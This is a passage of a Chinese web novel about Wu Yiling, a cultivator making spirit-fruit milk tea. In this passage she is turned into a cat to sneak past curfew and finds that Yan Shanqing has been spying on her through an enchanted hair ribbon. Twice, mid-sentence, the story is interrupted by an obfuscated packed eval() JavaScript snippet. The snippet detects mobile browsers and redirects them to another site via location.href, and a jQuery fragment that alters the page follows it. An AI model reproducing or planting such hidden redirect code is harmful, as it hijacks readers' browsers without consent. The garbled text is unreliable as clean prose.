如果能够借着打响名声的影响趁机开店,再让天涯散落的妖族成为她的加盟商,把奶茶店短时间内开到每个角落,那样谁会不知道她的名字?那样晏山青为她套上死亡枷锁还能如影随形吗? 当然这个想法只是在乌以灵心里短暂的冒出了雏形,毕竟眼下还是一穷二白,甚至连宗门大比还没开始,想这些未免太眼高手低了些。 不过…… 这个想法还是在她心里很快落地生根,她坚信在不久之后会有证据支撑这个念头快速茁壮生长,最终枝繁叶茂。 正想着,耳边忽然传来鹅妖额额嘎嘎的粗叫。 乌以灵抬起眼,只见眼前的大白鹅用宽大的翅膀小心翼翼捧着一大兜灵果,一颗颗流光溢彩的灵果盛在鹅妖洁白如云的干净羽毛间。 鹅妖嗓门极大,“这里是我们最好的灵果,盟主请过目。” “天呐……” 苏烟枝忍不住感叹出声,她俯身看着鹅妖怀里的灵果,那些果子是她从未见过的美丽香甜,颜色各异的灵果好似光彩夺目的宝石,在夜晚灯光下映着柔和温暖的光晕,馥郁的甜香扑面而来,让人忍不住吞咽口水。 安慈拿起两个灵果仔细掂量,眼里瞬间迸发出激动的光芒,“太厉害了!就算是放眼整个仙门都找不出品质这么好的灵果,太神奇了!” 乌以灵问鹅妖,“能否问问这灵果从何处而来?” 鹅妖伸着长长的脖子,眼里满是自豪,“哼!这可不是想寻便能寻到的,毕竟灵果这种东西长在哪里都可以,但想得到品质这么好的可是需要高手的悉心栽培,就比如向我这样慧眼识珠又呕心沥血的大善妖……” “臭大鹅!”猪妖气得鼻孔喷气,蒲扇般的巴掌重重打在他背上,“少在盟主面前胡说八道!” 鹅妖惨叫一声,怀里的灵果险些滚落出来,它缩着脖子,嘟嘟囔囔骂了串听不懂的鹅语。 猪妖搓搓手,对着乌以灵谄笑道,“您少听这家伙乱邀功,灵果这种东西其实挺好找的,只要种得认真,长出来的果子就不会差。只是我们平时过得糙,不觉得高阶灵果和低阶灵活有啥区别,也不是所有妖都和那什么猴子啊小雀啊一样天天啃果子,我们很多都是猪八戒吃人参果嘛?所以我们卖的这些东西不是怠慢您,是实在没有识货的,可是您看现在您来了,这些好果子也是找到归宿了。” 鹅妖听完他的话脖子都要气歪了,要不是翅膀装着灵果,这会可能已经扇到猪脸上了,“死肥猪!你还敢说我,看看你自己有没有邀功……” “停停停先别打了。”乌以灵眼疾手快,一手一个分开俩妖怪,好声好气开口,“也就是说只要在栽种的时候多下心思就能得到高阶灵果?” 俩妖怪异口同声,“是这个理。” 乌以灵若有所思,心里算盘愈发笃定,“帮我把这些果子包起来吧。” 俩妖怪又开始边打架边装纸袋了。 苏烟枝和安慈凑在一起嘀嘀咕咕半天最后不约而同面露难色,两人围着乌以灵低声道,“小乌小乌,长老给的预算不多咋办,要买品质这么好的灵果得要不少灵石吧……把我们手里的灵石全交出去的话可能勉强够,接下来起码半个月一个子也不能花了,这不得喝西北风过日子了?” 苏烟枝面露难色,“以这个盟主在妖群里的威严,它们肯定不会找我们主动要灵石的,但真说不给我心里又过不去,它们也怪不容易的。” 乌以灵拍拍她的肩膀,“我这还有点灵石,先垫上吧。没关系的,钱这种东西总是有舍才有得。” 果然,最后乌以灵将沉甸甸的灵石给他们时,正互相扯脖子扯脸的的鹅妖和猪妖同时僵住,脑袋摇得像拨浪鼓,“盟主我们怎么能收您的灵石?我们的东西就是您的东西啊。” 乌以灵顺手解开俩妖怪缠斗时绞在一起的衣摆,语气同样认真,“我不是盟主,这是沾了你们盟主的光,这灵石你们先收着吧。” “况且”乌以灵顿了顿,“未来我们还会在见面的,若是你们实在想交还,可以等到那个时候。” - 和妖市的妖怪们道别后,乌以灵一行人趁着月色坐上了回玉音宗的瓷盘飞舟。 月凉如水,白瓷盘里清辉一片。 一天下来几人早就累坏了,但这会儿却没有丝毫困意。这可是他们第一次离宗外出,居然就这么经历了这么多惊心动魄的事。 苏烟枝圆眼睛滴溜溜转了圈,“诶话说,我们这也算是误打误撞参与除魔了吧?我听说宗门里除魔成功的弟子可以领奖赏,我们要不要去蹭点?有总比没有好吧?蚊子腿也是肉嘛,传出去也能给咱食修挣点脸面。” 安慈深表赞同,“我看行。这样,我明天就去和长老说。” 乌以灵取出苍玉翎,她提出了个一直困扰她的问题,“话说为什么这个茶叶会长在江水里?是什么特殊品种吗?” 苏烟枝诧异地看着她,而后嗤嗤笑道,“话说小乌,我有的时候都要怀疑你到底是哪个世界的人了,明明在大事那么机灵怎么总是在这种小事上犯迷糊?” 她煞有介事地掰着手指认认真真解释着,“茶叶这种东西不是哪都能长吗?它们本来就是凝结天地灵气而生,像我家的池塘边有棵老桂树,我爹就年年从池塘里捞桂花茶晶。” 乌以灵眼角一抽,差点忘了这是天马行空的修仙界,什么事情都是有可能的。 江水里面种茶叶也是基操。 她拿出水壶,用指甲从乳白色的茶晶体上刮下一点粉末洒进水壶里,而后用力摇晃几下,再拔开塞子,苍玉翎曼妙柔和的甜香瞬间包围了几人。 只是闻了片刻,安慈便道,“这不就是普通的混合茶叶?” “混合茶叶?”乌以灵又仔细闻了闻,却是一无所获,“这是什么?” 安慈解释道,“我比你们早入宗几年,接触的东西可能也会多些。这个你们以后会经常见到的,它是茶叶的一种,或者是人为地把好几种茶晶体融化后又凝结在一起,或者是天然的几种茶叶意外凝到一处了。至于这个苍玉翎,闻着既有红茶的醇厚,又有睡莲的甜香,那就不难猜出来是什么混合在一起了吧?” “原来如此。” 乌以灵点点头,但思绪却是顺着安慈的话变得辽远。她现在手里有不少高阶和从前没有接触过的茶叶,或许可以考虑扩展研制方向。 她现在做出来的其实不算是奶茶,只是习惯性地把果茶统称为奶茶了。既然灵果可以通过外力激发出难以想象的灵力,那单单用牛乳和茶叶呢?这两个东西除了当催化剂之外,它们本身会不会也有同样的功效? 想法刚冒出来,乌以灵打算回去后熬夜试一试。 “对了!”苏烟枝想起什么般猛地一拍大腿,“今天是晏师兄救了我们,我们要不要改天亲自去向他道谢?” 安慈也连连点头,“对对对,晏师兄可真是个好人!过去我还有点怕他,但今天看来晏师兄一点架子都没有,简直太可靠了!” 想到晏山青那张脸,乌以灵心里白眼都要翻到天上去了,但还是被迫附和着,“好啊。” 苏烟枝忽然凑近,笑嘻嘻地捏捏乌以灵的脸,“小乌,你是不是也是因为知道晏师兄人好才被迷倒的呀?” 完了。 这话无异于一道惊雷,只瞬间就把乌以灵劈得外焦里嫩眼冒金星。 好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179995|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好,差点忘了自己身上还有这么大一口锅了。 乌以灵眼角抽搐,想着以后和这两人朝夕相处的没必要隐瞒,于是决定实话实说,“我现在已经不喜欢他了。” “为什么?”苏烟枝有些奇怪,但随后仔细想想,晏师兄这人乍一看确实是无可挑剔的好,待人接物也很温和客套,但这种客套也意味着疏离,若是当他的同门可能会很幸运,但选择他作为伴侣确实不是很好的选择。 与其看着乌以灵飞蛾扑火般迷恋晏山青,倒不如劝她放下执念像现在这样专注于自己的人生。于是苏烟枝点头道,“不喜欢也好,小乌你会遇见更好的。” “不过……”苏烟枝眉眼里笼罩着淡淡的愁绪,“我怎么觉得晏师兄似乎格外关照你呢小乌?这种关照我总觉得不太对劲,你是不是……惹到他了?” 乌以灵看着苏烟枝认真道面庞,不得不惊诧于她的敏锐和心细,又或者是直觉准得吓人,居然能看出晏山青对她表面好意下的试探捉弄。同时心里也不可避免地感到温暖,她握住苏烟枝绞在一起的手,“没事的,我可以处理好。” 她不想把其他人引到她和晏山青的恩怨里,毕竟她也不知道那个变态真的生气了会不会伤害她身边的人。 安慈在听得一头雾水,他茫然地挠着脑袋,“啊?晏师兄格外关心小乌吗?我咋没看出来?” 苏烟枝撇撇嘴,“可能因为安师兄的神经粗得往地里一插能当房梁使吧。” 安慈气得脑门青筋直跳,“苏烟枝!” “略略略~”苏烟枝嘻笑着做了个鬼脸,又敏捷地转身躲到乌以灵身后。 “好了好了。”乌以灵按住苏烟枝的脑袋。她看着眼前越来越近的宗门大门,忽然想到一个至关重要的问题,“我们是不是回来得有些晚了?我记得宗门有宵禁的,现在要怎么进去?” 苏烟枝从她手掌下面缓缓探出小半张脸,露出一个狡黠的笑,“这简单,施个化形咒变成其它东西偷偷混进去就行,看门的师兄师姐们基本都是睁一只眼闭一只眼。” “化形?” 经历了苍玉江魔物一遭,乌以灵觉得自己短时间里都会对化形和下雨这两个词有阴影,现在听见苏烟枝说要化形,下意识竖起耳朵警惕起来。 安慈看着苏烟枝那跃跃欲试的表情,心里瞬间警铃大作,“烟枝,你不会想变成什么小猫小狗溜进去吧?” 苏烟枝佯装大骇,手中快速捻决,“你怎么知道?” 安慈:“我不……” 话音未落,只见淡粉色的灵力流转,再反应过来时,一只四脚朝天的棕毛小狗代替安慈出现在飞舟上。 “汪汪汪” 安慈:“……” 乌以灵:“……噗嗤。” “唉,谁让我基础法术这门课业次次满分呢,安师兄不用谢我啦。”苏烟枝单手轻松按住试图扑上来咬她的安慈,又笑眯眯地看着乌以灵,“小乌小乌,你想变成什么?小鹿?小鸟?还是小白兔?” 乌以灵没想到这么快就轮到自己了,她试图捏住苏烟枝伸向自己的魔爪,只觉得两眼一黑,语气艰涩,“真的不能变成人吗?” “这不行。”苏烟枝故意使坏,编出的理由冠冕堂皇,“守门弟子虽说会通融,但我们也不能给人添麻烦是吧?还是变成小动物保守一点,不然被长老们抓到了怎么办?倒时候我们会被当众批评不说,还要害得师兄师姐们受连累。小乌你也不想这样吧?” 乌以灵看着苏烟枝无比认真的神情,又看着地上自闭的安慈,最终认命般闭上眼睛,“你来吧。” 苏烟枝桀桀桀的怪笑声里,乌以灵忽然觉得身上一轻,再睁眼时,眼前最近的东西是一根硕大的嘴筒子,再往上看是湿漉漉的黑色鼻子,正带着腾腾热气往她脸上凑,然后是蓬松的棕色毛发,以及一双闪烁着幸灾乐祸光芒的狗眼睛。 乌以灵心里警铃狂响,猛地往后一窜。 等等,为什么是窜的? 乌以灵低下,看见了乌黑柔软的绒毛,纤细的四肢,还有粉色的爪垫…… 卧槽,怎么变成猫了? 11. 芝士葡萄(一) 一刻钟后,乌以灵和安慈自闭地靠在一起,散发着生无可恋的气息。 和他们形成鲜明对比的,是旁边正在对着光洁瓷盘摇头晃脑的粉毛垂耳兔,她陶醉地捧着自己两只长耳朵惊呼,“天呐我居然变成兔子也这么可爱……” 垂耳兔蹦蹦跳跳地跑到乌以灵面前,“小乌小乌,我可爱吗?” 乌以灵只恨猫耳朵听东西格外清楚,试图把毛茸茸的脑袋埋进前爪逃避现实,“烟枝,放过我俩吧,这已经是你问的第三遍了。” 安慈已经彻底麻木了,他顶着张快拉到地上的狗脸窝在瓷盘边缘,那副哀莫大于心死的样子大有随时准备就近跳下去意味。 “好啦,打起精神来嘛。”苏烟枝晃晃脑袋,兔耳朵啪啪甩在安慈身上,“还有安慈你别装死,我们要到宗门口了。” 安慈满脸呆滞地支起身,发现自己四脚着地后更加绝望了。 随着瓷盘缓缓降落在地,苏烟枝再次合爪捻诀。她说自己基础课业满分可能真的不是在吹牛,只见她效仿着只见过一次的妖族法术,三两下把鼓鼓囊囊的灵果和硕大的瓷盘压缩凝结成两个小小的珠子,被她用根细绳串着轻轻松松挂在脖子上。 虽然玉音宗挂满了琉璃灯,但变成小动物的三人到底矮小纤细,轻而易举地融入了暗沉沉的夜色里。 和苏烟枝说的一样,守门的弟子们只是侧目瞥了几眼,便挪开目光继续聊天,对他们仿佛视若无睹。 成功溜进宗门后,苏烟枝得意地重重跳到安慈爪子上,“你看我说什么?是不是像这样就可以进来,居然还不相信我。” 安慈疼得龇牙咧嘴,想要痛呼出声但又怕喊出来是狗叫,只能像哑巴吃黄连一样憋着。他满脸憋屈,只能哼哼唧唧地偷偷传音,“话说烟枝,你这个法术会被人看穿吗?” “咋,怕被熟人识破丢人?”苏烟枝歪着脑袋思索片刻,笃定道,“不会的,这个法术的效果理论上和施法者法力深厚与否无关。它最早从妖族那里传过来,所以逻辑是效仿妖怪们化人形为本体,只要不是遇到火眼金睛的妖怪应该没事。守门的师兄师姐只是知道有化形成动物钻空隙的传统,也不知道我们具体是谁。至于玉音宗的妖修拢共没有十个,还全都住在离这最远的山头,怎么会遇到他们?” “当然也有例外。不过先说在前面,这个我不太确定。”苏烟枝踌躇片刻,还是决定实话实说,“曾经有个屡次犯宵禁的师姐,她也用这个伎俩逃脱处罚,不过那段时间宗门不大太平,所以守门的是晏师兄。那位师姐连着半个月都这样回来晏师兄也没说什么,可是后来师姐突然被罚去打扫练功台,这一扫就是半年,理由是怠慢功课。” “那位师姐虽然是贪玩了些但从不缺席修炼,她百思不得其解,但又心虚自己犯宵禁的事,所以也不敢反驳。后来师姐和我说,她怀疑晏师兄看出来了她的伪装,但是却没有明面揭穿,反而拐弯抹角换了个方式惩罚。”苏烟枝停顿片刻,无所畏惧地耸耸肩,“不过晏师兄怎么可能是妖怪?这是全宗上下都知道常识。所以没有人信她,时间久了她也觉得是自己修炼偷懒只是后来忘了。” “那就好那就好。”安慈大大松了口气,听完苏烟枝这一大串话他终于安心了不少,“应该没那么倒霉遇到晏师兄吧,哈哈……” 他干巴巴的尬笑戛然而止。 乌以灵和苏烟枝没有搭理他,反而像是被施了什么定身咒一样僵在原地,连呼吸都凝滞了。 安慈纳闷地顺着她们的目光看过去。 眼前近在咫尺处是一片熟悉的青色衣摆。 安慈:“……” 苏烟枝:“……乌鸦嘴我打死你。” 三人缩在草丛深处大气也不敢喘,其中安慈的身形最为庞大,热烘烘的半边身体几乎要把乌以灵挤出去,她本想用爪子挠安慈让他别乱动,但又怕惹出更大的动静只能忍着。 站在晏山青旁边的是面无表情抱着剑的林昱南,这人说话依旧意味不明,“今日事毕,多谢师兄,明日见。” 晏山青略微颔首,“嗯,回去歇着吧。” 林昱南刚要告辞,忽然眼尖地发现路边草丛里似乎有什么动静,原本转身离开脚步霎时猛地顿住。 “什么人!” 林昱南长剑出鞘,银亮剑锋扫荡过境,只瞬间便掀翻了本就不堪一击的草丛。 但在看清眼前的景象后,林昱南的剑尖猛地调转方向,退后两步踉跄停住。 “小兔子,小狗…诶,那个黑的…还有黑猫。” 林昱南收起剑,小心翼翼地在三人面前蹲下,原本笨拙地伸出手却又仿佛被烫到般缩在半空,他红着耳朵磕磕绊绊道,“你们误入的?快走吧…小心被伤。” 苏烟枝主动上前讨好地在他手上蹭了蹭,毛茸茸的兔子耳朵划过少年指尖,带来一阵奇异的酥麻感,林昱南嘴唇颤抖许久没吐出一个字,半晌才讷讷开口,“好可爱……” 苏烟枝回头与两人对视,乌以灵主动传音,“他没有认出来,我们快走。” 说完迈开脚就要往后跑,安慈与苏烟枝紧随其后。 但没跑两步,乌以灵忽然感觉后颈一紧,整个身体瞬间悬空,她徒劳地扑腾两下,没有挣开分毫。 然后她对上了晏山青那张放大的脸。 乌以灵:“……” 天要亡我来着。 晏山青提着乌以灵命运的后脖颈,迫使乌以灵与他对视。他饶有兴致地打量着这只几乎与夜色融为一体的小黑猫,甚至恶劣地捏了捏她的爪子。良久之后,晏山青嘴角勾起一抹意味不明的笑,“你长得倒像我一位熟人。” 林昱南难得好奇,“您的朋友?” “朋友?”晏山青眼中划过些许嘲讽,他不知是不是故意地揉了把猫头,“不是,是一个很狡猾的人。” 他故意咬重了“狡猾”两个字,仿佛那真的是个让他恨得牙痒痒的人,但这两个字又被他念得千回百转,仿佛那个人又让他无数次牵肠挂肚。 乌以灵基本确定这变态认出她来了,不管是什么原因反正他真的能识破化形。 老实说她并不意外,毕竟晏山青身上的谜团也不止一个两个。 晏山青漫不经心的目光扫过地上满脸焦急的垂耳兔和土狗,轻笑道,“我与你们的朋友颇有眼缘,择日想聘它为灵宠。” 苏烟枝急得要跳起来了,但她想破脑袋也没想明白晏山青这是闹哪出?难道是识破伪装了?那不应该罚他们去扫练功台吗?这是在干什么? 乌以灵也被这话砸得眼冒金星,她不可置信地望着晏山青,甚至忘记了挣扎。 但晏山青似乎没有多解释的意思,他极为自然地把乌以灵揣进袖子里,又吩咐林昱南通传各修系日后在路上不得随便斗法以免伤了这些动物,最后再让他把兔子和狗带走。 一套动作下来行云流水,丝毫没给乌以灵说“不”的机会,甚至苏烟枝和安慈也愣在原地忘记思考,只能呆呆地被林昱南抱走。 等乌以灵费了好一番力气从袖口扒出来时,才发现到了个全然陌生的地方。 眼前竹影潇潇,林间月光疏漏有如残雪①,竹林后是间朴素的老屋,屋外白梨几株,水井一口,看着不像是享誉盛名的大师兄,倒像是个苦修,而且不知道是不是乌以灵的错觉,她总觉得这里鬼气森森的。 屋里同样古色古香,黄梨木的桌上只摆着笔墨纸砚,鸦青色窗纱下白梨飘落,乍一看倒终于有点名门正派那味了。 嗯,如果忽略他书柜上摆着的那一排头骨的话。 不知道是什么东西的骨头,看着像人又像妖,空洞的眼窝深不见底,上面还精心镶嵌了珠宝灵石,在烛火摇曳里散发着极为诡异的光彩,与这森森白骨居然诡异地相得益彰。 乌以灵脊背上的毛瞬间炸起来了。 晏山青回头时,看到的就是她这副弓身戒备的样子,他顺着她的目光看去,眉头轻挑,“那是我诛杀的魔物,不用害怕。” 信你就有鬼了。 乌以灵心想谁会把魔物的骨头摆家里?往骨头上镶宝石又是哪方面的癖好? 晏山青见她依然满眼警惕,反而轻笑一声,温凉如玉的手掌轻轻顺着她的毛发,不厌其烦地重复了一次又一次,就好像真的在安抚受惊的小猫般。 乌以灵暗忖这死变态为什么不揭穿她,莫不是在故意寻她作乐?但这也不像晏山青这种冷心冷情的人会做的,他究竟想干什么? 于是乌以灵假意放下警惕,佯装听话地窝在晏山青手边,想看看他意欲何为。 晏山青依旧有一下没一下地梳理着小猫乌黑柔软的绒毛,但他的目光却是格外幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179996|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深,仿佛在透过这具猫的躯体看着什么,他忽然开口,语气玩味而试探,“真的不愿意做我的灵宠?” 乌以灵垂着脑袋,下意识摇头。 但她很快听见头顶传来闷闷的笑声,抬头果然对上了男人含笑的眼睛。 “还挺机灵。” 片刻之后,晏山青走出门。 待晏山青走了,乌以灵立刻弹起身,她快速跳下桌,准备就近从窗口逃出去。 但在跳出窗口的前一刻,乌以灵忽然闻到了熟悉的味道,也许是猫的嗅觉比人灵敏得多,她隐隐约约闻到了淡淡的青提灵果味和茉莉花茶味,在墨香与乌木的沉静味道里,这缕甜香便显得格外清晰。 脑中白光一闪而过,乌以灵想也没想便瞬间明白过来,晏山青曾试着复刻过她做的奶茶,就在这间屋子里! 带着寒意的夜风吹得乌以灵浑身发凉。 既然自己还活着,就说明晏山青还没有成功。 如果让他成功了,等待自己的下场是什么? 只有价值利用殆尽后的死路一条! 乌以灵飞快跳出窗口,求生的本能迫使她以平生最快的速度逃离这片竹林,竹影斑驳,树影幢幢,仿佛躲在暗夜里扭曲窃笑的鬼影,无形的鬼魅张开血盆大口,追逐着似要把她吞下。 目送着那个小小的身影消失在月下,晏山青才重新推开门。 他将手里那支方才在屋外点燃的香烛放在桌上,虽然此刻已经熄灭,但几缕青灰间还残存着特意调配的花果香。 对待心思活络,总想拜托掌控的小猫,还是要时刻威胁一下得好。 昏黄灯光下,晏山青的目光无意间扫过桌面,光洁如新的黄梨木上,不知何时留下了几个小小的泥巴爪印。 平白无故的,他想起了晦暗风雨里少女那双明亮的眼。 - 乌以灵几乎是连滚带爬地一口气跑回了自己屋里,虽然原主故意找了个离晏山青最近的屋子,但在这么短的时间里跑一遭乌以灵还是有些吃不消。 乌以灵在踏入屋内的顺价化形术法解除,她两腿发软,无力地瘫坐在地上,许久也不想动弹。 长发在奔跑中被夜风吹得乱糟糟的,原本固定头发的发带的浅蓝色发带也不知道在何时被扯散了,悄无声息滑落在地。 乌以灵下意识伸手去捡。 但在漆黑的屋里,发带上碧蓝色的灵力微光短暂地一闪而过。 死寂。 空荡荡的屋里是仍然窒息的死寂。 乌以灵的呼吸停滞一瞬,但下一秒,她的心跳却剧烈得仿佛要跳出胸膛,她死死捂住嘴巴,将原本剧烈的喘息硬生生堵了回去。乌以灵眼睛瞪得极大,目光死死盯着地上的发带,像是在看什么凶险的猛兽。 发带上被人下了法术! 这个灵力波动……是晏山青! 几乎是在瞬间,乌以灵混沌的思绪便被打通,那些原本困扰她的难题在这一刻全部串联到了一起。 为什么晏山青会知道她在学宫里做了什么,为什么晏山青会亲自接通传声镜并在片刻间赶到苍玉江边,为什么晏山青会识破苏烟枝的法术,为什么晏山青的房间里会有青提与茉莉的味道…… 全部都是因为从一开始,从来到这个世界的那天起,晏山青就在角落里阴暗而无处不在地窥视着她。像是阴险至极的毒蛇,时刻窥伺着自己的猎物,再伺机讲她一口吞下。 她的一举一动,本就全部都在晏山青的监视下! 所以晏山青会及时警告她,不允许她忤逆,不允许她生出多余的心思,让她时时刻刻处于自己的掌控里。 但是晏山青百密一疏,没想到法术施下后偶尔的灵力波动居然会被她发现。 这么小的概率都被她撞上了…… 真是天助我也。 心里的恐惧与荒诞的狂喜让乌以灵浑身颤抖,她死死咬着嘴唇,强忍着不大笑出声,克制着这股疯狂到足以淹没她的剧烈情绪。平时的乌以灵总是客观镇定游刃有余,但在生死关头,她要紧紧抓住命运递来的橄榄枝,这让她再也难以冷静。惊骇之下,是源自于勇气本能的破釜沉舟的念头。 她看着地上的发带,只是略一思索,便像无知无觉般将它捡起来重新戴上。 既然想看,那就让死变态看个够。 12. 芝士葡萄(二) 回宗后的几天算得上风平浪静,甚至于平静得近乎诡异。 乌以灵每天过着学宫和住处两点一线的日子,因为食修学宫自带三餐,连去食堂的时间也省了。而宗门大比在前,几个讲授基础术法的大弟子也忙着筹备,课业自然而然轻松了许多,这为乌以灵空出了很多时间研究手里的奶茶配方。 这天乌以灵和往常一样走进学宫,在踏进大门时和两个被人抬出去的师姐擦肩而过,她见怪不怪地问苏烟枝发生什么了,苏烟枝说她们喝自己做的百菌汤中毒了,因为里面加了几种不知名但估计有毒的菌子,被抬走的时候嘴里还念念有词着有小人来接她们飞升了。 坐下来没多久最后排又传来嘭的一声巨响,险些把摇摇欲坠的屋顶震塌。两人循声回头,看见安慈和几个弟子顶着清一色的爆炸头锅灰脸傻傻站在原地,一问才知道原来是他们突发奇想把玉米塞进了炉子里,结果炉子炸了,玉米还变成了堆成小山的白花花圆球。 乌以灵好心建议道那堆圆球是可以吃的,加点糖效果会更好,虽然没什么用但甜甜的。哦对了要是想不出来取什么名字可以叫爆米花。 是的,待久了你就会发现食修学宫也是人才济济。 至于哪方面的人才你别管。 李观水也在为宗门大比奔波,往年食修系也会参加,但他们并不热衷于此,因为知道去了也是当笑料的。不过今年不一样,今年他们有了新的希望能够再搏一把。 希望本人正在对着桌子上的灵果和茶叶往本子上认认真真记录配方。 不过是假配方就是了。 乌以灵故意写给偷窥狂晏山青看的。 真配方她另有记录。 苏烟枝好奇地凑上来,“记啥呢记啥呢?让我看看。” 她看了几眼又皱起眉,“诶这个配方怎么和……” “好了,我们该走了。”乌以灵连忙合上本子,生怕被心思细腻的苏烟枝看出端倪,她顺手把新鲜的灵果塞到苏烟枝嘴里,又拉着她出门。 见有吃的,苏烟枝当即把心里那点疑惑抛之脑后,乐呵呵地任由乌以灵拽着往外走。 食修学宫正后方有几件荒废许久的石屋,安慈说那是早年间的临时学宫,后来随着食修系的弟子一年比一年少,它们便逐渐荒废了。 乌以灵向李观水请求整理出一间石屋借用,又花了两天把屋子收拾干净,当成她寄放灵果和茶叶的杂货屋。 面上说是杂货屋,但其实更多的时候是在里面做奶茶。 至于为什么非要选在这个单独空出来的地方…… 在进屋之前,乌以灵和苏烟枝同时脱掉玉音宗的统一外袍,换上准备好的罩衣。说是这么说,可这罩衣在苏烟枝看来相当新奇,因为它只有一半,后背的地方是空出来的。 其实这就是普通围裙,乌以灵连夜扯了两块黑布裁的。 然后她们和往日一样拆下发簪发带,将长发绾进头巾里,以免头发垂落下来影响干活。 这个看似不起眼的举动也是乌以灵设计好的。 正是因为不起眼,所以在发带另一边窥视着她的晏山青才不会察觉到不对劲,才不会发现她真正钻研配方都是在这间平平无奇的石屋里。 没多久安慈也洗干净脸过来了,只是爆炸头没那么好处理,这会依然嚣张地立在头顶。苏烟枝只看了两眼便笑得肚子疼,边笑边道,“安慈你们把炉子炸了打算拿什么赔?咱们现在可是穷得叮当响,一块灵石也掏不出来。” 安慈好不容易洗干净的脸这会儿又气得青黑,“苏烟枝!” 苏烟枝抹掉眼角笑出来的眼泪,“好好好不笑了。” 乌以灵把手里多出来的几个灵果扔给他,“这些应该够再买个炉子了。” 安慈连忙摇头,“不不不不用了,我那还有点私房钱……” “拿着吧。”乌以灵又把围裙和头巾丢给他,示意他快点过来干活,“这些灵果不是用长老给的钱买的,是从猴妖那淘的。我后来对比过,发现那小猴子卖的灵果里参了好几个高阶灵果,算是我们捡漏了。” “那我就先收下了,改天再去妖市定要好好谢谢那小猴哥。”安慈原本被折磨得七上八下的心这会儿终于落到实处,他把手里那一大盆爆米花放在桌上,自己去旁边穿衣戴帽。 苏烟枝偷偷把爪子伸向爆米花,安慈立刻和背后长眼睛了似的回头瞪她,“苏烟枝!吃吃吃就知道吃,你还记不记得自己在辟谷?” 苏烟枝吐吐舌头,“嘻嘻就吃。” 眼见这两个人又要吵起来,乌以灵极具先见之明地塞给他们一人一盆灵果扒皮。 果然手里有活干之后世界再次恢复安静了。 “诶对了,小乌你有没有听说。”苏烟枝安静了没半刻钟又凑过来,神秘兮兮地念叨着,“蒋卜同那个死秃驴,他真的变成秃子了。” “你不知道,这事在剑修系都传开了,我听相熟的师姐说那秃子自打除魔回来后就憋在屋里死活不肯见人。好事的撬开他那屋门想一探究竟,嘿你猜怎么着,一打眼看见个光溜溜大脑门。大脑门看见有人来就和疯了似的见人就砍,结果还真被他砍伤了两个弟子。哦对了这个大脑门就是蒋卜同。” “现在好啦,蒋卜同外出除魔连魔的影子都没摸到不说,自己还因为打伤同窗挨了三十鞭子还被关了禁闭,而且挨鞭子的时候好多人都在场,大家都知道他变成光头了。现在提起蒋卜同的名字和听笑话没差。” “真是大快人心。”乌以灵手中泡茶的动作未停,但她嘴角不可抑制地溢出笑容,“不过这才哪到哪,起码要等着他像丧家之犬一样,夹着尾巴灰溜溜滚出宗门。” “就是,没把他揍成猪头还是便宜他了。”安慈附和道,“烟枝,要不我们把他兜个麻袋按角落里打一顿吧。” 苏烟枝满脸期待,“好呀好呀。” 乌以灵有些头疼地把手里的小锅搬到两人中间,强行分开两人的距离,“好啦好啦我很感谢你们为了我好,但为了那种东西惹一身骚也不值得是不是?” “好吧。”苏烟枝扁着嘴,手里给灵果扒皮的动作都变慢了。 但她很快又想到什么般再次开口,“哦我忘记讲了,上次安慈去申的除魔奖赏批下来了。猜猜我们能分到什么?” “什么什么?” 听到有奖赏,安慈又打起十二分精神,连忙伸长脖子看过来。 “哈哈白瓷碗飞舟一艘,惊喜吗?”苏烟枝干巴巴笑了两声,笑着笑着流露出两分生无可恋,“那东西我去看了眼,还不如我们白瓷盘飞舟的一半呢,不能飞太高还不能飞太快不能装太多,灵力波动大点就碎了。也不知道是传了几手的老古董,估计年纪比玉音宗还大 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简易版奶茶香气四溢,乌以灵心里却总觉得不大对劲。 她舀起一勺尝了尝,不出意外地眉头紧锁。 味道是普通奶茶的味道,但和她预想的差不多,单单只用茶叶和牛乳熬成的奶茶不能达到和果茶一样增强灵力的效果。 这几天她试过无数种茶叶和牛乳的组合,但都没有达到的预期的效果,难道它们真的只能当做灵果的催化剂使? 乌以灵并不觉得这是食材的问题,理论上说仙界的茶叶和牛乳也不是一般食材,也有蕴含着灵力,问题是怎么才能把它们激发出来呢? 催化灵果依靠的是摇杯撞奶和外物添加。 那做奶茶还要添加什么呢? 她埋头思考的时候,苏烟枝已经喝光了剩下的奶茶,完了还意犹未尽地咂咂嘴,“味道真好,还有吗小乌?” 安慈在边上翻白眼,“不许偷懒,快去干活。” 苏烟枝摇着乌以灵的胳膊撒娇,“你看他又欺负我,他那么凶,还是我好,贴心又温柔。” “苏烟枝!你又挑拨离间!” 安慈举着锅铲作势要打她,苏烟枝呜呜哇哇乱叫着往乌以灵怀里钻,打闹间一块乳白色的晶体掉在地上。 乌以灵目光骤然被吸引。 苏烟枝把它捡起来,小心翼翼吹干净后才放在桌子上,“苍玉翎?天爷我差点把它忘了。那晚回来后出了一茬子事,我好不容易从林师兄那逃走,又险些撞上夜巡的弟子,稀里糊涂跑回到屋后倒头就睡了。” 接下来她忙着确定乌以灵真的没在晏山青那出事,又提心吊胆好几天生怕拿到去扫练功台的处罚,完全把苍玉翎这东西抛之脑后。 